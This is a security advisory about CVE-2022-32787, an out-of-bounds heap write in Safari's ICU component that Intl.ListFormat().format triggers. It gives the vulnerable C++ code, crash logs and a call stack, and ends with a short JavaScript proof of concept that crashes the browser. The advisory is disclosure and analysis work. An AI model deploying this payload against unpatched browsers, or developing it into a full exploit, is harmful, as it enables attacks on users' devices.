Original Write up : SSD Advisory – Apple Safari ICU Out-Of-Bounds Write
TL;DR
An Out-Of-Bounds Write vulnerability exists in Apple Safari ICU components libicucore.A.dylib [icu::FormattedStringBuilder::insert]. This library is called when Safari handles the Intl.ListFormat().format function.
Vulnerability Summary
A vulnerability in Apple Safari ICU components allows an attacker to trigger an OOB Write vulnerability in Safari, which in turn can be used to write to an arbitrary address, arbitrary data.
Credit
The security researcher, Dohyun Lee from SSD Labs (Korea), has reported this to the SSD Secure Disclosure program.
Affected Versions
iOS 15.6 or iPadOS 15.6 before
Monterey 12.5 before
Big Sur 11.6.8 before
2022-005 Catalina before
watchOS 8.7 before
tvOS 15.6 before
CVE
CVE-2022-32787
Vendor Response
iOS 15.6 and iPadOS 15.6 addresses the following issues. Information about the security content is also available at: https://support.apple.com/HT213346.
Vulnerability Analysis
A vulnerability in the way Safari handles incoming data sent to the ICU component allows manipulation of the a pointer address in a way that allows attackers that are able to run arbitrary Javascript to obtain a primitive Out of Bounds write.
As can be seen in the below code:
int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
Field field, bool addBidiIsolates, UErrorCode &status) {
int32_t count = end - start;
int32_t realCount = count + (addBidiIsolates ? 2 : 0);
int32_t position = prepareForInsert(index, realCount, status); // [1]
if (U_FAILURE(status)) {
return realCount;
}
if (addBidiIsolates) {
getCharPtr()[position] = u'\u2068'; // U+2068 FIRST STRONG ISOLATE
getFieldPtr()[position] = field;
++position;
}
for (int32_t i = 0; i < count; i++) {
getCharPtr()[position + i] = unistr.charAt(start + i); // [2]
getFieldPtr()[position + i] = field;
}
if (addBidiIsolates) {
getCharPtr()[position + count] = u'\u2069'; // U+2069 POP DIRECTIONAL ISOLATE
getFieldPtr()[position + count] = field;
}
return realCount;
}
[1] The position variable of FormattedStringBuilder::insert is the return value of prepareForInsert. This very large value is in the position variable.
If you check the register and [2], you can see that the value is written to the appropriate location and you can check that the vulnerability occurred while moving the memory.
[1] formatted_string_builder.cpp#L184
[2] formatted_string_builder.cpp#L194
By manipulating this return value you can trigger a crash:
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fac10100000
Exception Codes: 0x0000000000000001, 0x00007fac10100000
Exception Note: EXC_CORPSE_NOTIFY
Termination Reason: Namespace SIGNAL, Code 11 Segmentation fault: 11
Terminating Process: exc handler [97775]
Thread 0 crashed with X86 Thread State (64-bit):
rax: 0x0000000077ffffff rbx: 0x000000077a000020 rcx: 0x00007fab0ff00000 rdx: 0x0000000080100000
rdi: 0x0000000008100001 rsi: 0x0000000008100001 rbp: 0x00007ff7b726ee80 rsp: 0x00007ff7b726ee40
r8: 0x00007fad30c044d0 r9: 0x0000000077ffffff r10: 0x00007fad320197d2 r11: 0x0000000007effffd
r12: 0x00007fad30c04478 r13: 0x00007fad320197c8 r14: 0x0000000000000061 r15: 0x0000000000000031
rip: 0x00007ff815c6a949 rfl: 0x0000000000010202 cr2: 0x00007fac10100000
Logical CPU: 10
Error Code: 0x00000006 (no mapping for user data write)
Trap Number: 14
Thread 0 instruction stream:
58 44 88 3c 0a ff c0 4d-8d 44 24 58 83 7d d0 00 XD.<...M.D$X.}..
7e 7c 4d 8d 55 0a 4c 63-c8 48 63 fb 44 8b 5d d0 ~|M.U.Lc.Hc.D.].
31 f6 4c 89 ca 41 0f b7-4d 08 66 85 c9 79 06 41 1.L..A..M.f..y.A
8b 5d 0c eb 05 89 cb c1-eb 05 66 41 be ff ff 39 .]........fA...9
fb 76 11 4c 89 d3 f6 c1-02 75 04 49 8b 5d 18 44 .v.L.....u.I.].D
0f b7 34 7b 41 80 3c 24-00 74 14 49 8b 4c 24 08 ..4{A.<$.t.I.L$.
[66]44 89 34 51 49 8b 5c-24 58 48 89 d1 eb 0d 4a fD.4QI.\$XH....J <==
8d 0c 0e 66 45 89 74 54-08 4c 89 c3 44 88 3c 0b ...fE.tT.L..D.<.
48 ff c6 48 ff c2 48 ff-c7 49 ff cb 75 97 80 7d H..H..H..I..u..}
10 00 74 2f 41 80 3c 24-00 74 17 49 8b 4c 24 08 ..t/A.<$.t.I.L$.
03 45 d0 48 98 66 c7 04-41 69 20 4d 8b 44 24 58 .E.H.f..Ai M.D$X
eb 0d 03 45 d0 48 98 66-41 c7 44 44 08 69 20 45 ...E.H.fA.DD.i E
Here we can estimate as Out-Of-Bounds write:
VM Regions Near 0x7fa13e1c1000:
MALLOC_LARGE 7fa1361c1000-7fa13e1c1000 [128.0M] rw-/rwx SM=PRV
-->
MALLOC_TINY 7fa168c00000-7fa168d00000 [ 1024K] rw-/rwx SM=COW
If you look at the above information, you can see that Out-Of-Bounds Write occurred in the heap area in the relevant area.
Call stack
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 libicucore.A.dylib 0x7ff815c6a949 icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, int, int, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 213
1 libicucore.A.dylib 0x7ff815c6a85a icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 108
2 libicucore.A.dylib 0x7ff815c74319 0x7ff815b32000 + 1319705
3 libicucore.A.dylib 0x7ff815c73efb icu::ListFormatter::formatStringsToValue(icu::UnicodeString const*, int, UErrorCode&) const + 653
4 libicucore.A.dylib 0x7ff815c73b8d icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, int, int&, UErrorCode&) const + 85
5 libicucore.A.dylib 0x7ff815c73b2e icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, UErrorCode&) const + 38
6 libicucore.A.dylib 0x7ff815d30990 ulistfmt_format + 394
7 JavaScriptCore 0x7ff82c2b476e JSC::IntlListFormat::format(JSC::JSGlobalObject*, JSC::JSValue) const + 174
8 ??? 0x425da5a041d8 ???
9 JavaScriptCore 0x7ff82c2e4121 llint_entry + 119034
10 JavaScriptCore 0x7ff82c2c6e26 vmEntryToJavaScript + 216
11 JavaScriptCore 0x7ff82c9c53fe JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) + 15022
12 JavaScriptCore 0x7ff82cc4ea95 JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 245
13 WebCore 0x7ff915f650f4 WebCore::JSExecState::profiledEvaluate(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 84
14 WebCore 0x7ff915f64dcc WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&) + 188
15 WebCore 0x7ff9162f8ea7 WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) + 711
16 WebCore 0x7ff914e4ff01 WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) + 6929
17 WebCore 0x7ff9165b31e2 WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) + 386
18 WebCore 0x7ff914e06e90 WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) + 576
19 WebCore 0x7ff9165a8f84 WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl, WTF::RawPtrTraits<WTF::StringImpl>, WTF::DefaultRefDerefTraits<WTF::StringImpl> >&&, WebCore::HTMLDocumentParser::SynchronousMode) + 1732
20 WebCore 0x7ff916246ddc WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) + 204
21 WebCore 0x7ff914e0654d WebCore::DocumentWriter::end() + 77
22 WebCore 0x7ff9167517db WebCore::DocumentLoader::finishedLoading() + 667
23 WebCore 0x7ff9167ed32f WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) + 95
24 WebCore 0x7ff9167ebcf9 WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) + 409
25 WebCore 0x7ff9167bd817 WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) + 999
26 WebKit 0x7ff9180e9783 WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) + 207
27 WebKit 0x7ff9182621b5 WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) + 333
28 WebKit 0x7ff917d5d28e IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) + 604
29 WebKit 0x7ff917d5f87b WTF::Detail::CallableWrapper<IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_13, void>::call() + 197
30 JavaScriptCore 0x7ff82d13adcf WTF::RunLoop::performWork() + 431
31 JavaScriptCore 0x7ff82d13b8ba WTF::RunLoop::performWork(void*) + 26
32 CoreFoundation 0x7ff813863aeb __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 17
33 CoreFoundation 0x7ff813863a53 __CFRunLoopDoSource0 + 180
34 CoreFoundation 0x7ff8138637cd __CFRunLoopDoSources0 + 242
35 CoreFoundation 0x7ff8138621e8 __CFRunLoopRun + 892
36 CoreFoundation 0x7ff8138617ac CFRunLoopRunSpecific + 562
37 Foundation 0x7ff8146b5d9a -[NSRunLoop(NSRunLoop) runMode:beforeDate:] + 216
38 Foundation 0x7ff8147408d7 -[NSRunLoop(NSRunLoop) run] + 76
39 libxpc.dylib 0x7ff8134e1816 _xpc_objc_main + 773
40 libxpc.dylib 0x7ff8134e1239 xpc_main + 99
41 WebKit 0x7ff917bed759 WebKit::XPCServiceMain(int, char const**) + 85
42 dyld 0x11811e51e start + 462
Proof of Concept
<script>
var ssd = "a".repeat(0xFFFFFFE);
new Intl.ListFormat().format(Array(16).fill(ssd)).length;
</script>
댓글